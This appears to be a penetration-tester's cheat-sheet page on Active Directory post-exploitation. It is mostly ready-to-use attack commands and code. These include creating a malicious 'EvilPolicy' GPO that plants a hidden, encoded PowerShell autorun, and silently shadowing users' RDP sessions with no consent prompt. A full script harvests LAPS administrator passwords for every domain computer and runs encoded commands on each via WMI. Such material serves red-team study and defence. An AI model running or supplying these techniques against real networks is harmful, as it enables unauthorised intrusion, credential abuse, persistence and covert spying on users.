Post Exploitation

Search…
Post Exploitation
Post Exploitation in Active Directory
GPOs
Identify the OU containing the VICTIM-PC object:
PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"
PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName
Create a GPO using GPMC:
1.Run > gpmc.msc.
2.Create a new GPO in the OU in which VICTIM-PC resides.
3.Remove Authenticated Users from Security Filtering and add VICTIM-PC there.
4.Link it to the OU and edit it.
Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:
Cmd > gpudate.exe /force
Enable RDP
Allow RDP Connections
Edit Local Administrators Membership
Enable Shadow RDP
Immediate Scheduled Task
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Allow users to connect remotely using Remote Desktop Services
                  Enabled, OK
<POLICY_NAME>
  Computer Configuration
    Policies
      Windows Settings
        Security Settings
          Windows Defender Firewall with Advanced Security
            Inbound Rules
              (right-click) New Rule
                Predefined (Remote Desktop)
		          Allow the connection, Finish
<POLICY_NAME>
  Computer Configuration
    Preferences
      Control Panel Settings
        Local Users and Groups
          (right-click) New > Local Group
            Group name (...)
              Members (Add), OK
                Apply, OK
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Set rules for remote control of Terminal Services user sessions
                  Enabled + Options (Full Control without user's permission), OK
<POLICY_NAME>
  Computer Configuration
    Policies
      Preferences
        Control Panel Settings
          Scheduled Tasks
            (right-click) New > Immediate Task (At least Windows 7)
Reach a Locked-down Domain Computer
​How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios​
If you find yourself in a situation when you're already a domain admin and you need to access a locked-down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil GPO may help.
Create a GPO using PowerShell (will trigger a command when the victim user logs in):
PS > Add-WindowsFeature -Name "GPMC"
PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim.user" -TargetType User
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-PC" -TargetType Computer
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforced Yes
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName MSstart -Type String -Value "powershell.exe -NoP -sta -NonI -W Hidden -Exec Bypass -Enc <BASE64_CMD>"
Shadow RDP
​https://swarm.ptsecurity.com/remote-desktop-services-shadowing/​
​https://darkbyte.net/autordpwn-la-guia-definitiva/​
​https://github.com/JoelGMSec/AutoRDPwn​
Enable Shadow RDP via group policies and connect to an active session on the target machine:
Cmd > qwinsta.exe /server:192.168.1.11
Cmd > mstsc.exe /v:192.168.1.11 /shadow:<ID> /noConsentPrompt
Run on Domain Computers
​How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios​
An example PowerShell script to execute commands as a local admin on all domain computers pulling LAPS passwords automatically:
ADComputersCmd.ps1
 # Save with Encoding "UTF-8 with BOM"
​
[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"
​
$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '
$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
​
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$_.name -ne $(hostname)} | select name,ms-Mcs-AdmPwd | ForEach-Object {
	$comp = $_."name"
	$pass = $_."ms-Mcs-AdmPwd"
​
	if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {
		try {
			$cred = New-Object System.Management.Automation.PSCredential("$comp\administrator", $(ConvertTo-SecureString $pass -AsPlainText -Force))
			$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc $encodedCommand") -ComputerName $comp -Credential $cred
​
			do {
				Write-Host -ForegroundColor Green "[*] Waiting for script to finish on $comp"
				Start-Sleep -Seconds 2
			} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc.ProcessId" -ComputerName $comp -Credential $cred | where {$_.ProcessId -eq $proc.ProcessId}).ProcessId -eq $null)
​
			net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null
			Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
			Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
			net use "\\$comp" /delete 2>&1 | Out-Null
		}
		catch {
			Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
		}
	}
	else {
		Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
	}
}
Password Spraying
PrivExchange
Last modified 1mo ago
Copy link
Outline
GPOs
Reach a Locked-down Domain Computer
Shadow RDP
Run on Domain Computers